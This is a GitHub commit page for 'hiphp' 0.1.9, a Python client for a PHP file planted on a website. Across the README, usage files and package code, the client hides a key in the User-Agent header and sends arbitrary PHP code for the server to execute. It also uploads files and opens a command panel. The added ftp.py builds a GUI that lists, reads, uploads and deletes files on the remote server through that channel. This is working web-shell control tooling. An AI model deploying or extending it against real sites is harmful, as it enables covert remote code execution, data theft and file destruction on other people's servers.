Skip to content

Commit

Permalink
0.1.9
Browse files Browse the repository at this point in the history
  • Loading branch information
yasserbdj96 committed Jun 7, 2021
1 parent 1c2bf06 commit 8387111
Show file tree
Hide file tree
Showing 8 changed files with 208 additions and 39 deletions.
22 changes: 13 additions & 9 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
<h2>Installation:</h2>

```
pip install hiphp==0.1.7
pip install hiphp==0.1.9
```

<h2>Usage:</h2>
Expand All @@ -24,13 +24,14 @@ pip install hiphp==0.1.7
#s
from hiphp import hiphp

p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>")
print(p1.get_code())//Get HIPHP ID for first use.
p1.run("<YOUR_CODE>")//Run a code or line in your website.
p1.run_file("<PHP_CODE_FILE_PATH>")//Run a code or line in your website from a file.
p1.run_file("<PHP_CODE_FILE_PATH>","<__VALUE_NAME__>==<VALUE_CONTENT>")//Run a code or line in your website from a file With the entry of variables.
p1.cli()//open command panel
p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>")//Upload a file to the server hosting the site.
p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>",False) #In order to print the result directly.
#p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>") #In order to make the result as a variable.
print(p1.get_code()) #Get HIPHP ID for first use.
p1.run("<YOUR_CODE>") #Run a code or line in your website.
p1.run_file("<PHP_CODE_FILE_PATH>") #Run a code or line in your website from a file.
p1.run_file("<PHP_CODE_FILE_PATH>","<__VALUE_NAME__>==<VALUE_CONTENT>") #Run a code or line in your website from a file With the entry of variables.
p1.cli() #open command panel
p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>") #Upload a file to the server hosting the site.
p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>","./<THE_PATH_YOU_WANT_TO_UPLOAD_THE_FILE_TO>")
#e

Expand All @@ -43,7 +44,7 @@ p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>","./<THE_PATH_YOU_WANT_TO_UPLOA
#s
from hiphp import hiphp

p1=hiphp("123","http://localhost/index.php")
p1=hiphp("123","http://localhost/index.php",False)

# Example:1
# GET ID:
Expand Down Expand Up @@ -124,6 +125,9 @@ p1.upload("picture_example.png","./pictures/")
<h2>Changelog:</h2>

```
## 0.1.9
- fix bugs.
## 0.1.7
- fix bugs.
Expand Down
146 changes: 146 additions & 0 deletions Scripts/hiphp_ftp/ftp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
# EXAMPLES :
#s
import re
from hiphp import hiphp
from tkinter import *
from tkinter import filedialog
import os
from chardet import detect

url="http://localhost/hiphp.php"
password="123"

p1=hiphp(password,url).run("""
function iterateDirectory($i){
foreach($i as $path){
if($path->isDir()){
iterateDirectory($path);
}else{
echo $path.",";
}
}
}
$dir='.';
$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
iterateDirectory($iterator);""")

files_list=p1.split(",")
del files_list[-1]
for i in range(len(files_list)):
files_list[i]=files_list[i].replace("\\","/")

# get file encoding type
def get_encoding_type(file):
with open(file,'rb') as f:
rawdata = f.read()
return detect(rawdata)['encoding']


def selectmode():
if var1.get()==1:
mylist['selectmode']="multiple"
else:
mylist['selectmode']="SINGLE"

def deleteSelected():
#selected=[]
cname=mylist.curselection()
for i in cname[::-1]:
op=mylist.get(i)
#selected.append(op)
mylist.delete(i)
del_file='$file_pointer="'+op+'";if(!unlink($file_pointer)){echo("$file_pointer cannot be deleted due to an error");}else{echo("$file_pointer has been deleted");}'
p1=hiphp(password,url).run(f"{del_file}")
print(p1)
unselect_all()

def select_all():
mylist.select_set(0,END)

def unselect_all():
mylist.selection_clear(0,END)

def openSelected():
if var1.get()==0:
cname=mylist.curselection()
for i in cname[::-1]:
op=mylist.get(i)
p1=hiphp(password,url).run(f"echo file_get_contents('{op}');")
print(p1)

def upSelected():
file=filedialog.askopenfile(parent=root,mode='rb',title='Choose a file')
if file!=None:
file_name=file.name.split("/")
file_name=file_name[len(file_name)-1]
p1=hiphp(password,url).upload(file.name)

def upSelected_to():
if var1.get()==0:
cname=mylist.curselection()

for i in cname[::-1]:
op=mylist.get(i)
op=op.split("/")
path=""
for i in range(len(op)-1):
if path=="":
ss=""
else:
ss="/"
path=path+ss+op[i]

file=filedialog.askopenfile(parent=root,mode='rb',title='Choose a file')
if file!=None:
file_name=file.name.split("/")
file_name=file_name[len(file_name)-1]

p1=hiphp(password,url).upload(file.name,path+"/")

root=Tk()
root.title('Hiphp FTP')
#root.iconbitmap(r'favicon.ico')
root.geometry('700x500')
scrollbar=Scrollbar(root)

mylist=Listbox(root,bd=0,yscrollcommand=scrollbar.set)#,selectmode="multiple"

x=files_list
for item in range(len(x)):
mylist.insert(END,x[item])
mylist.itemconfig(item,bg="#f6f6f6")

mylist.pack(side=LEFT,padx=0,pady=0,expand=YES,fill="both")
scrollbar.pack(side=LEFT,fill=BOTH)
scrollbar.config(command=mylist.yview)

select_all_btn=Button(root,text="Select all",command=select_all)
select_all_btn.pack()
select_all_btn.config(width=15)#,height=2

unselect_all_btn=Button(root,text="Unselect all",command=unselect_all)
unselect_all_btn.pack()
unselect_all_btn.config(width=15)

openSelected_btn=Button(root,text="Open",command=openSelected)
openSelected_btn.pack()
openSelected_btn.config(width=15)

upSelected_btn=Button(root,text="Upload",command=upSelected)
upSelected_btn.pack()
upSelected_btn.config(width=15)

upSelected_to_btn=Button(root,text="Upload to",command=upSelected_to)
upSelected_to_btn.pack()
upSelected_to_btn.config(width=15)

deleteSelected_btn=Button(root,text="Delete",command=deleteSelected)
deleteSelected_btn.pack()
deleteSelected_btn.config(width=15)

var1=IntVar()
c1=Checkbutton(root,text='multiple selection',variable=var1,onvalue=1,offvalue=0,command=selectmode)
c1.pack(side="bottom")

mainloop()
#e
3 changes: 3 additions & 0 deletions changelog.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
## 0.1.9
- fix bugs.

## 0.1.7
- fix bugs.

Expand Down
2 changes: 1 addition & 1 deletion examples.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
#s
from hiphp import hiphp

p1=hiphp("123","http://localhost/index.php")
p1=hiphp("123","http://localhost/index.php",False)

# Example:1
# GET ID:
Expand Down
55 changes: 35 additions & 20 deletions hiphp/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,21 +7,22 @@
#s
from hiphp import hiphp
p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>")
print(p1.get_code())//Get HIPHP ID for first use.
p1.run("<YOUR_CODE>")//Run a code or line in your website.
p1.run_file("<PHP_CODE_FILE_PATH>")//Run a code or line in your website from a file.
p1.run_file("<PHP_CODE_FILE_PATH>","<__VALUE_NAME__>==<VALUE_CONTENT>")//Run a code or line in your website from a file With the entry of variables.
p1.cli()//open command panel
p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>")//Upload a file to the server hosting the site.
p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>",False) #In order to print the result directly.
#p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>") #In order to make the result as a variable.
print(p1.get_code()) #Get HIPHP ID for first use.
p1.run("<YOUR_CODE>") #Run a code or line in your website.
p1.run_file("<PHP_CODE_FILE_PATH>") #Run a code or line in your website from a file.
p1.run_file("<PHP_CODE_FILE_PATH>","<__VALUE_NAME__>==<VALUE_CONTENT>") #Run a code or line in your website from a file With the entry of variables.
p1.cli() #open command panel
p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>") #Upload a file to the server hosting the site.
p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>","./<THE_PATH_YOU_WANT_TO_UPLOAD_THE_FILE_TO>")
#e
##################################################################
# EXAMPLES :
#s
from hiphp import hiphp
p1=hiphp("123","http://localhost/index.php")
p1=hiphp("123","http://localhost/index.php",False)
# Example:1
# GET ID:
Expand Down Expand Up @@ -100,7 +101,7 @@
"""
# VALUES :
#s
__version__="0.1.7"
__version__="0.1.9"
__name__="hiphp"
__author__="Yasser BDJ (Ro0t96)"
__author_email__="by.root96@gmail.com"
Expand All @@ -127,7 +128,8 @@
limitations under the License.'''
__copyright__='Copyright 2008 -> Present, '+__author__

__changelog__=("## 0.1.7\n - fix bugs.\n\n")
__changelog__=("## 0.1.9\n - fix bugs.\n\n")
__changelog__=__changelog__+("## 0.1.7\n - fix bugs.\n\n")
__changelog__=__changelog__+("## 0.1.6\n - fix bugs.\n - add upload to upload any file.\n - Simplify the use of the program.\n\n")
__changelog__=__changelog__+("## 0.1.5\n - fix bugs.\n\n")
__changelog__=__changelog__+("## 0.1.4\n - fix bugs.\n - new build. \n\n")
Expand All @@ -151,22 +153,26 @@
#start hiphp class:
class hiphp:
#__init__:
def __init__(self,key,url):
def __init__(self,key,url,returns=True):
self.key=ashar(key,key).encode()
self.url=url
self.headers={'User-Agent':self.key}
self.print=hexor()
self.print2=hexor(True)

self.returns=returns

#run:
def run(self,command):
hiphp.do(self.url,self.headers,command)
if self.returns==True:
return hiphp.do(self.url,self.headers,command,self.returns)
else:
hiphp.do(self.url,self.headers,command,self.returns)

#cli:
def cli(self):
command=input('hiphp>>>')
if command:
hiphp.do(self.url,self.headers,command)
hiphp.do(self.url,self.headers,command,self.returns)
else:
print(p1.c("Command not found!","#ff5b3c"))
hiphp.cli(self)
Expand All @@ -182,8 +188,11 @@ def run_file(self,file,*opts):
for i in range(len(opts)):
value,string=opts[i].split("==")
open_file=open_file.replace(f"__{value}__",string)

hiphp.do(self.url,self.headers,open_file)

if self.returns==True:
return hiphp.do(self.url,self.headers,open_file,self.returns)
else:
hiphp.do(self.url,self.headers,open_file,self.returns)
except:
self.print.c("The file you entered does not exist.","#ff5b3c")

Expand All @@ -198,22 +207,28 @@ def upload(self,path_to_upluad,to=""):
except:
self.print.c(f"We could not read the file {path_to_upluad}","#ff5b3c")
#do:
def do(url,headers,command):
def do(url,headers,command,returns):
response=requests.post(url,headers=headers)
if response.status_code==200:
if response.text[0:7]=="#python":
ploads={'command':command}#open('php.php').read()
response=requests.post(url,headers=headers,data=ploads)
hiphp.check_errors(response.text[7:])
if returns==True:
return hiphp.check_errors(response.text[7:],returns)
else:
hiphp.check_errors(response.text[7:],returns)
else:
hexor().c("We were unable to recognize the hiphp identifier.","#ff5b3c")
else:
hexor().c("We were unable to connect '"+url+"'.","#ff5b3c")

#check_errors:
def check_errors(response):
def check_errors(response,returns):
if response[:6]!="<br />":
print(response)
if returns==True:
return response
else:
print(response)
else:
result=re.search('on line <b>(.*)</b><br />',response)
hexor().c(f"ERROR in line {result.group(1)}.","#ff5b3c")
Expand Down
2 changes: 1 addition & 1 deletion setup.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
from setuptools import setup,find_packages
setup(
name="hiphp",
version="0.1.7",
version="0.1.9",
author="Yasser BDJ (Ro0t96)",
author_email="by.root96@gmail.com",
description='''A package for controlling a php-based website.''',
Expand Down
15 changes: 8 additions & 7 deletions usage.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,13 @@
#s
from hiphp import hiphp

p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>")
print(p1.get_code())//Get HIPHP ID for first use.
p1.run("<YOUR_CODE>")//Run a code or line in your website.
p1.run_file("<PHP_CODE_FILE_PATH>")//Run a code or line in your website from a file.
p1.run_file("<PHP_CODE_FILE_PATH>","<__VALUE_NAME__>==<VALUE_CONTENT>")//Run a code or line in your website from a file With the entry of variables.
p1.cli()//open command panel
p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>")//Upload a file to the server hosting the site.
p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>",False) #In order to print the result directly.
#p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>") #In order to make the result as a variable.
print(p1.get_code()) #Get HIPHP ID for first use.
p1.run("<YOUR_CODE>") #Run a code or line in your website.
p1.run_file("<PHP_CODE_FILE_PATH>") #Run a code or line in your website from a file.
p1.run_file("<PHP_CODE_FILE_PATH>","<__VALUE_NAME__>==<VALUE_CONTENT>") #Run a code or line in your website from a file With the entry of variables.
p1.cli() #open command panel
p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>") #Upload a file to the server hosting the site.
p1.upload("<THE_PATH_OF_THE_FILE_TO_BE_UPLOADED>","./<THE_PATH_YOU_WANT_TO_UPLOAD_THE_FILE_TO>")
#e
2 changes: 1 addition & 1 deletion version.txt
Original file line number Diff line number Diff line change
@@ -1 +1 @@
0.1.7
0.1.9

0 comments on commit 8387111

Please sign in to comment.